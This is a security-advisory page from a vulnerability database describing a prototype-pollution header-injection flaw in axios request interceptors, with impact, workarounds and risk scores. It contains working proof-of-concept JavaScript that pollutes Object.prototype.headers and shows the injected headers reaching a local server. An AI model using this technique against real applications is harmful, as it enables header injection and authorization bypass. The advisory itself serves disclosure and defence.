Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-j8rh-479h-cp32

MediumCVSS 6.9 / 10
Published Sep 30, 2026·Last modified Sep 30, 2026
Affected Components(1)
npm logoaxios
1.0.0 – 1.20.0
Description

Summary

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

Affected Functionality

Affected:

  • Request interceptor chains where an interceptor returns a new ordinary object.
  • Replacement config objects that omit an own headers property.
  • dispatchRequest() header normalization through AxiosHeaders.from(config.headers).

Not affected:

  • Requests whose interceptor preserves an own headers property.
  • Interceptors that mutate and return the existing null-prototype config.
  • Processes without prototype pollution.

Technical Details

lib/core/dispatchRequest.js contains:

config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

<details> <summary><h3>Original report</h3></summary>

Summary

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0

Preconditions

  • A separate prototype-pollution primitive can write an object to Object.prototype.headers.
  • A request interceptor rebuilds config and omits own headers.

Root Cause

dispatchRequest() uses:

config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}

Observed wire headers:

{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}

References

  • https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg
  • https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg
</details> ---
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
2.5

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.43%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard